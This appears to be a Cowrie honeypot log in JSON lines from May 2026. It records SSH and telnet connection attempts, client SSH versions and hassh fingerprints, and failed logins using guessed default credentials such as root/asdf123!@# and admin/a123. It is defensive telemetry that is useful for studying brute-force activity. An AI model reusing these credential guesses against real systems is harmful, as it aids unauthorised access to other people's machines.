{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":57770,"dst_ip":"10.17.0.5","dst_port":23,"session":"9e506c217fee","protocol":"telnet","message":"New connection: 38.54.119.93:57770 (10.17.0.5:23) [session: 9e506c217fee]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:07:09.747390Z"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.162.42","src_port":33828,"dst_ip":"10.17.0.5","dst_port":22,"session":"beb27d2f3221","protocol":"ssh","message":"New connection: 152.32.162.42:33828 (10.17.0.5:22) [session: beb27d2f3221]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:07:11.983399Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:07:11.988357Z","src_ip":"152.32.162.42","session":"beb27d2f3221","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:07:12.242569Z","src_ip":"152.32.162.42","session":"beb27d2f3221","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"bobbi","message":"login attempt [admin/bobbi] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:07:13.290921Z","src_ip":"152.32.162.42","session":"beb27d2f3221","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.6","message":"Connection lost after 2.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:07:14.547687Z","src_ip":"152.32.162.42","session":"beb27d2f3221","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":35712,"dst_ip":"10.17.0.5","dst_port":22,"session":"83d608189a48","protocol":"ssh","message":"New connection: 103.176.20.115:35712 (10.17.0.5:22) [session: 83d608189a48]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:07:19.131030Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:07:19.136041Z","src_ip":"103.176.20.115","session":"83d608189a48","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:07:19.381835Z","src_ip":"103.176.20.115","session":"83d608189a48","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"asdf123!@#","message":"login attempt [root/asdf123!@#] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:07:20.395406Z","src_ip":"103.176.20.115","session":"83d608189a48","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:07:21.643762Z","src_ip":"103.176.20.115","session":"83d608189a48","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":57062,"dst_ip":"10.17.0.5","dst_port":23,"session":"fe6a7f7ca568","protocol":"telnet","message":"New connection: 65.60.27.33:57062 (10.17.0.5:23) [session: fe6a7f7ca568]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:07:26.212573Z"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":42674,"dst_ip":"159.203.135.109","dst_port":22,"session":"133888f7719f","protocol":"ssh","message":"New connection: 60.199.224.2:42674 (159.203.135.109:22) [session: 133888f7719f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:07:32.283339Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:07:32.288834Z","src_ip":"60.199.224.2","session":"133888f7719f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:07:32.487781Z","src_ip":"60.199.224.2","session":"133888f7719f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"dev2","password":"dev2","message":"login attempt [dev2/dev2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:07:33.315289Z","src_ip":"60.199.224.2","session":"133888f7719f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:07:34.518168Z","src_ip":"60.199.224.2","session":"133888f7719f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"186.10.86.130","src_port":53588,"dst_ip":"159.203.135.109","dst_port":22,"session":"3c4dbeeb86bf","protocol":"ssh","message":"New connection: 186.10.86.130:53588 (159.203.135.109:22) [session: 3c4dbeeb86bf]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:07:42.887451Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:07:42.892137Z","src_ip":"186.10.86.130","session":"3c4dbeeb86bf","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:07:43.037792Z","src_ip":"186.10.86.130","session":"3c4dbeeb86bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":43.780309438705444,"message":"Connection lost after 43 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:07:43.065504Z","src_ip":"65.60.27.33","session":"9eed6fab8f2f","protocol":"telnet"}
{"eventid":"cowrie.login.failed","username":"ubuntu","password":"zaq!xsw2","message":"login attempt [ubuntu/zaq!xsw2] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:07:43.651707Z","src_ip":"186.10.86.130","session":"3c4dbeeb86bf","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.9","message":"Connection lost after 1.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:07:44.803017Z","src_ip":"186.10.86.130","session":"3c4dbeeb86bf","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"65.60.27.33","src_port":58598,"dst_ip":"10.17.0.5","dst_port":23,"session":"4fb9ef953c0f","protocol":"telnet","message":"New connection: 65.60.27.33:58598 (10.17.0.5:23) [session: 4fb9ef953c0f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:07:54.933547Z"}
{"eventid":"cowrie.session.closed","duration":48.0910542011261,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:07:57.838430Z","src_ip":"38.54.119.93","session":"9e506c217fee","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"152.32.162.42","src_port":60886,"dst_ip":"10.17.0.5","dst_port":22,"session":"a33d9a65f6bb","protocol":"ssh","message":"New connection: 152.32.162.42:60886 (10.17.0.5:22) [session: a33d9a65f6bb]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:07:58.649597Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.11.1","message":"Remote SSH version: SSH-2.0-libssh_0.11.1","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:07:58.654944Z","src_ip":"152.32.162.42","session":"a33d9a65f6bb","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"03a80b21afa810682a776a7d42e5e6fb","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: 03a80b21afa810682a776a7d42e5e6fb","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:07:58.910309Z","src_ip":"152.32.162.42","session":"a33d9a65f6bb","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cactiuser","password":"cactiuser","message":"login attempt [cactiuser/cactiuser] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:07:59.948967Z","src_ip":"152.32.162.42","session":"a33d9a65f6bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:08:01.202860Z","src_ip":"152.32.162.42","session":"a33d9a65f6bb","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.22696876525879,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:08:06.439419Z","src_ip":"65.60.27.33","session":"fe6a7f7ca568","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"38.54.119.93","src_port":37578,"dst_ip":"10.17.0.5","dst_port":23,"session":"a98167176a30","protocol":"telnet","message":"New connection: 38.54.119.93:37578 (10.17.0.5:23) [session: a98167176a30]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:08:08.175086Z"}
{"eventid":"cowrie.session.closed","duration":7.5451271533966064,"message":"Connection lost after 7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:08:15.720073Z","src_ip":"38.54.119.93","session":"a98167176a30","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.115","src_port":52576,"dst_ip":"10.17.0.5","dst_port":22,"session":"b2f5c5098ee9","protocol":"ssh","message":"New connection: 103.176.20.115:52576 (10.17.0.5:22) [session: b2f5c5098ee9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:08:16.281815Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:08:16.287493Z","src_ip":"103.176.20.115","session":"b2f5c5098ee9","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:08:16.535250Z","src_ip":"103.176.20.115","session":"b2f5c5098ee9","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1234a","message":"login attempt [root/1234a] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:08:17.556436Z","src_ip":"103.176.20.115","session":"b2f5c5098ee9","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:08:18.810577Z","src_ip":"103.176.20.115","session":"b2f5c5098ee9","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"60.199.224.2","src_port":42682,"dst_ip":"159.203.135.109","dst_port":22,"session":"d7c96444e28e","protocol":"ssh","message":"New connection: 60.199.224.2:42682 (159.203.135.109:22) [session: d7c96444e28e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:08:27.191909Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.12.0","message":"Remote SSH version: SSH-2.0-libssh_0.12.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:08:27.196048Z","src_ip":"60.199.224.2","session":"d7c96444e28e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"af8223ac9914f509afdadfaf5f7ee94e","hasshAlgorithms":"mlkem768x25519-sha256,mlkem768nistp256-sha256,sntrup761x25519-sha512,sntrup761x25519-sha512@openssh.com,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,ext-info-c,kex-strict-c-v00@openssh.com;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512;none,zlib@openssh.com","kexAlgs":["mlkem768x25519-sha256","mlkem768nistp256-sha256","sntrup761x25519-sha512","sntrup761x25519-sha512@openssh.com","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","sk-ssh-ed25519@openssh.com","sk-ecdsa-sha2-nistp256@openssh.com","rsa-sha2-512","rsa-sha2-256"],"encCS":["chacha20-poly1305@openssh.com","aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512"],"compCS":["none","zlib@openssh.com"],"langCS":[""],"message":"SSH client hassh fingerprint: af8223ac9914f509afdadfaf5f7ee94e","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:08:27.399152Z","src_ip":"60.199.224.2","session":"d7c96444e28e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"admin","password":"a123","message":"login attempt [admin/a123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:08:28.241848Z","src_ip":"60.199.224.2","session":"d7c96444e28e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:08:29.447520Z","src_ip":"60.199.224.2","session":"d7c96444e28e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":40.376811265945435,"message":"Connection lost after 40 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:08:35.310219Z","src_ip":"65.60.27.33","session":"4fb9ef953c0f","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00287294387817,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:08:37.579406Z","src_ip":"181.189.73.151","session":"2c236d3ad2c2","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"181.189.73.151","src_port":62352,"dst_ip":"10.17.0.5","dst_port":23,"session":"263495921055","protocol":"telnet","message":"New connection: 181.189.73.151:62352 (10.17.0.5:23) [session: 263495921055]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:08:38.032818Z"}
{"eventid":"cowrie.session.connect","src_ip":"165.232.131.181","src_port":45592,"dst_ip":"10.17.0.5","dst_port":23,"session":"3928ae96ffa1","protocol":"telnet","message":"New connection: 165.232.131.181:45592 (10.17.0.5:23) [session: 3928ae96ffa1]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:08:38.622909Z"}
{"eventid":"cowrie.session.connect","src_ip":"45.81.23.16","src_port":56456,"dst_ip":"10.17.0.5","dst_port":23,"session":"fbcfe1f9d4b9","protocol":"telnet","message":"New connection: 45.81.23.16:56456 (10.17.0.5:23) [session: fbcfe1f9d4b9]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:08:38.805420Z"}
{"eventid":"cowrie.session.closed","duration":8.269623756408691,"message":"Connection lost after 8 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-02T22:08:47.074922Z","src_ip":"45.81.23.16","session":"fbcfe1f9d4b9","protocol":"telnet"}
